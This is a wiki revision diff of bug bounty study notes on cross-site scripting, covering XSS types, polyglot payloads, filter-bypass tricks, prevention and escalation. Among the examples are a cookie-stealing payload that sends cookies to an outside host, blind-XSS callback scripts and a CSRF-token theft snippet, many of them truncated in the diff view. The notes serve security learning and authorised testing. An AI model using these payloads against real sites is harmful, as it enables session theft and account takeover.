tbhm:05_xss
Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| tbhm:05_xss [2026/05/14 09:18] – TBHM import drew | tbhm:05_xss [2026/05/14 10:42] (current) – fix // in inline code breaking italic parser drew | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | # Tactical Fuzzing - XSS | + | ====== |
| - | ## XSS | + | ===== XSS ===== |
| Core Idea: Does the page functionality display something to the users? | Core Idea: Does the page functionality display something to the users? | ||
| For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too! | For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too! | ||
| - | ### Multi-context, | + | ==== Multi-context, |
| < | < | ||
| Line 11: | Line 11: | ||
| </ | </ | ||
| - | ### Multi-context, | + | ==== Multi-context, |
| < | < | ||
| Line 17: | Line 17: | ||
| </ | </ | ||
| - | ### Multi-context polyglot payload (Mathias Karlsson) | + | ==== Multi-context polyglot payload (Mathias Karlsson) |
| < | < | ||
| Line 23: | Line 23: | ||
| </ | </ | ||
| - | ### Other XSS Observations | + | ==== Other XSS Observations |
| Input Vectors: | Input Vectors: | ||
| - | - Customizable Themes & Profiles via CSS | + | * Customizable Themes & Profiles via CSS |
| - | - Event or meeting names | + | |
| - | - URI based | + | |
| - | - Imported from a 3rd party (think Facebook integration) | + | |
| - | - JSON POST Values (check returning content type) | + | |
| - | - File Upload names | + | |
| - | - Uploaded files (swf, HTML, ++) | + | |
| - | - Custom Error pages | + | |
| - | - fake params - ? | + | |
| - | - Login and Forgot password forms | + | |
| - | ## SWF Parameter XSS | + | ===== SWF Parameter XSS ===== |
| Common Params: | Common Params: | ||
| Line 55: | Line 55: | ||
| " | " | ||
| </ | </ | ||
| + | |||
| + | |||
| + | |||
| + | ===== Zseano' | ||
| + | |||
| + | * How are non-malicious tags handled? ''< | ||
| + | * Incomplete tags? < | ||
| + | * Encodings? ''< | ||
| + | * Hardcoded blacklist? Does ''</ | ||
| + | * WAF filter: does it filter parameter **values** but not **names**? | ||
| + | |||
| + | **Blind XSS targets:** support tickets, admin-visible fields (name, bio), log-visible headers (User-Agent, | ||
| + | |||
| + | **Missed vectors:** CSS customization fields, event names, file upload filenames, JSON POST bodies, custom error pages, mobile app forms. | ||
| + | |||
| + | * [[zseano: | ||
| + | |||
| + | |||
| + | |||
| + | ====== BBC Ch 6: Cross-Site Scripting ====== | ||
| + | |||
| + | //Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li// | ||
| + | |||
| + | ===== How XSS Works ===== | ||
| + | |||
| + | XSS happens when an attacker injects a script into a page that another user views. Because the injected script runs in the victim' | ||
| + | |||
| + | Classic cookie-theft payload: | ||
| + | <code javascript> | ||
| + | < | ||
| + | image.src=' | ||
| + | </ | ||
| + | |||
| + | If HttpOnly is set on the session cookie, JS cannot read it -- but XSS can still perform actions on the victim' | ||
| + | |||
| + | ===== XSS Types ===== | ||
| + | |||
| + | ==== Stored XSS ==== | ||
| + | |||
| + | User input is saved server-side (database, log, message board) and rendered to other users without sanitization. A single payload attacks every visitor. Most severe type. | ||
| + | |||
| + | Classic vector: a comment field that renders JS to every user who loads the page. | ||
| + | |||
| + | ==== Blind XSS ==== | ||
| + | |||
| + | A stored XSS variant where the payload fires in a part of the app the attacker cannot see, typically an admin panel or internal log viewer. Submit through a user-facing form (support ticket, contact form, User-Agent header), and the script executes when an admin views it. | ||
| + | |||
| + | Detection -- use an out-of-band callback: | ||
| + | < | ||
| + | <script src=' | ||
| + | </ | ||
| + | |||
| + | Watch server logs for GET /xss. XSSHunter automates this. | ||
| + | |||
| + | ==== Reflected XSS ==== | ||
| + | |||
| + | User input is returned in the same request/ | ||
| + | |||
| + | < | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | ==== DOM-Based XSS ==== | ||
| + | |||
| + | The payload never reaches the server. Client-side JS reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response is unchanged -- server-side WAFs cannot see it. | ||
| + | |||
| + | URL fragments ('#' | ||
| + | |||
| + | < | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | ==== Self-XSS ==== | ||
| + | |||
| + | Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs. | ||
| + | |||
| + | ===== Prevention ===== | ||
| + | |||
| + | * **Input validation** -- reject input containing dangerous characters server-side | ||
| + | * **Output escaping** -- encode ''<'', | ||
| + | * **HttpOnly on session cookies** -- prevents JS cookie theft even if XSS fires | ||
| + | * **Content-Security-Policy header** -- '' | ||
| + | * **Modern JS frameworks** -- React, Angular 2+, Vue.js escape output by default | ||
| + | |||
| + | DOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it. | ||
| + | |||
| + | Reference: OWASP XSS Prevention Cheat Sheet | ||
| + | |||
| + | ===== Hunting for XSS ===== | ||
| + | |||
| + | ==== Step 1: Find Input Opportunities ==== | ||
| + | |||
| + | * Every text field, search box, sign-up form, comment field, profile field | ||
| + | * URL parameters and fragments that appear in the page | ||
| + | * Drop-down menus and numeric fields -- intercept with Burp and replace the value; client-side input restrictions don't apply at the network layer | ||
| + | * Insert a unique canary string (e.g. '' | ||
| + | |||
| + | ==== Step 2: Insert Payloads ==== | ||
| + | |||
| + | ^ Payload ^ Purpose ^ | ||
| + | | ''< | ||
| + | | ''< | ||
| + | | ''< | ||
| + | | ''">< | ||
| + | | ''< | ||
| + | | ''< | ||
| + | | ''< | ||
| + | |||
| + | XSS polyglot (fires across img, script, p contexts): | ||
| + | < | ||
| + | javascript:"/ | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | Generic test string to identify which characters get escaped: ''>'<";: | ||
| + | |||
| + | Blind XSS OOB payload: | ||
| + | < | ||
| + | <script src=' | ||
| + | </ | ||
| + | |||
| + | Watch server logs for GET /xss to confirm execution. | ||
| + | |||
| + | ==== Step 3: Confirm Impact ==== | ||
| + | |||
| + | * Stored: does your alert fire on the display page? | ||
| + | * Reflected/ | ||
| + | * Blind: check server logs for the callback request | ||
| + | * Account for timing delays -- blind XSS on admin pages only fires when an admin is logged in | ||
| + | |||
| + | ===== Bypassing XSS Filters ===== | ||
| + | |||
| + | ==== Alternative JS Syntax ==== | ||
| + | |||
| + | If ''< | ||
| + | |||
| + | < | ||
| + | <img src=" | ||
| + | <a href=" | ||
| + | </ | ||
| + | |||
| + | '' | ||
| + | |||
| + | < | ||
| + | data: | ||
| + | </ | ||
| + | |||
| + | ==== Capitalization and Encoding ==== | ||
| + | |||
| + | Mix case to bypass exact-string filters (browsers parse HTML permissively): | ||
| + | |||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | |||
| + | If quotes are filtered, use '' | ||
| + | |||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | |||
| + | ==== Filter Logic Errors ==== | ||
| + | |||
| + | If the filter removes ''< | ||
| + | |||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | |||
| + | ==== Closing Out Tags ==== | ||
| + | |||
| + | When input lands inside an existing attribute (e.g. ''< | ||
| + | |||
| + | < | ||
| + | "/>< | ||
| + | </ | ||
| + | |||
| + | Check the browser console for syntax errors if your payload doesn' | ||
| + | |||
| + | Reference: OWASP XSS filter evasion cheat sheet | ||
| + | |||
| + | ===== Escalating the Attack ===== | ||
| + | |||
| + | Impact depends on where the XSS fires: | ||
| + | |||
| + | * **Server logs / admin panel** -- stored XSS can compromise admin accounts, exfiltrate customer data, escalate to RCE via shell upload | ||
| + | * **General user base** -- session hijacking via cookie theft, account takeover | ||
| + | * **CSRF token theft** -- steal the token from the DOM, then perform state-changing actions as the victim: | ||
| + | |||
| + | <code javascript> | ||
| + | var token = document.getElementById(' | ||
| + | var xhr = new XMLHttpRequest(); | ||
| + | xhr.open(" | ||
| + | xhr.send(null); | ||
| + | </ | ||
| + | |||
| + | * **Page replacement** -- replace the DOM with a fake login form (credential phishing) | ||
| + | * **RCE escalation** -- if the XSS fires in an Electron app or as an admin with file upload access | ||
| + | |||
| + | ===== 7-Step Checklist ===== | ||
| + | |||
| + | - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS. | ||
| + | - Insert XSS payloads at all discovered injection points. Use payload lists, polyglots, or a generic test string. | ||
| + | - Confirm impact: pop-up, redirect, or OOB callback from your server. | ||
| + | - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors). | ||
| + | - Automate with Burp Intruder or a fuzzer. | ||
| + | - Assess impact: who does it target? How many users? Admin context or general user? | ||
| + | - Send the report with a working PoC. | ||
tbhm/05_xss.1778746727.txt.gz · Last modified: by drew
